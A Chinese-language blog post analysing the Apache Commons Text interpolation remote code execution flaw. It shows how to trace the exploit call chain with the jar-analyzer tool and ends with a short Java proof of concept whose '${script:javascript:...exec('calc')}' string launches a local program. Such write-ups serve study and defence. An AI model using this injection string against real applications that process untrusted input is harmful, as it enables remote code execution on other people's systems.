漏洞简介

Apache Commons Text 执行变量插值 (variable interpolation), 允许动态评估和扩展属性。插值的标准格式是"${prefix:name}"
,其中 "prefix" 用于查找定位执行插值 org.apache.commons.text.lookup.StringLookup
的实例。从 1.5 版到 1.9 版,默认的 Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。
- "script" - execute expressions using the JVM script execution engine (javax.script) 使用 JVM 脚本执行引擎(javax.script)执行表达式
- "dns" - resolve dns records 解析 dns 记录
- "url" - load values from urls, including from remote servers 从 url 加载值,包括从远程服务加载值
如果使用了不受信任的配置值,则在受影响版本中使用插值默认值的应用程序可能受到远程代码执行的影响。
漏洞分析
利用 jar-analyzer 来对漏洞进行分析 https://github.com/jar-analyzer/jar-analyzer
Jar Analyzer
是一个分析 Jar
文件的 GUI
工具:
- 支持大
Jar
以及批量 Jars
分析
- 方便地搜索方法之间的调用关系
- 分析
LDC
指令定位 Jar
中的字符串
- 一键分析
Spring Controller/Mapping
- 对于方法字节码和指令的高级分析
- 一键反编译,优化对内部类的处理
- 一键生成方法的
CFG
分析结果
- 一键生成方法的
Stack Frame
分析结果
- 远程分析
Tomcat
中的 Servlet
等组件
- 自定义
SQL
语句进行高级分析
- 支持运行基于
Java
的脚本语言 Y4 Lang
下载 jar-analyzer 最新版本,为了方便运行,下载包含集成环境的版本
https://github.com/jar-analyzer/jar-analyzer/releases/download/2.9/jar-analyzer-2.9-windows-embed.zip

同时下载存在漏洞的组件 jar 包 https://repo1.maven.org/maven2/org/apache/commons/commons-text/1.9/commons-text-1.9.jar
启动 analyzer

选择漏洞组件 jar 包 进行加载

加载成功就可以进行搜索利用了
最后的漏洞触发是基于 调用ScriptEngine的eval方法 ,所以查找方法的调用关系

通过查看 caller 可以查看向上调用关系 callee 中显示的是方法中存在的函数

依次向上调用 org.apache.commons.text.lookup.lookup




通过一层层查找,整个漏洞利用链一目了然
org.apache.commons.text.StringSubstitutor#replace(java.lang.String)
org.apache.commons.text.StringSubstitutor#substitute(org.apache.commons.text.TextStringBuilder, int, int)
org.apache.commons.text.StringSubstitutor#substitute(org.apache.commons.text.TextStringBuilder, int, int, java.util.List<java.lang.String>)
org.apache.commons.text.StringSubstitutor#resolveVariable
org.apache.commons.text.lookup.InterpolatorStringLookup#lookup
org.apache.commons.text.lookup.ScriptStringLookup#lookup
构造出payload
import org.apache.commons.text.StringSubstitutor;
public class CommonsTextDemo {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String out = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('calc')}");
}
}
同样 在 org/apache/commons/text/StringSubstitutor.java
描述了一些对字符串的处理方法

jar-analyzer 的优点在于已经知道漏洞的触发点依次向上进行查询分析,快速查找确定漏洞利用链路,函数的调用关系看的非常清晰 感觉比 idea 本身的 Alt+F7 更好用一些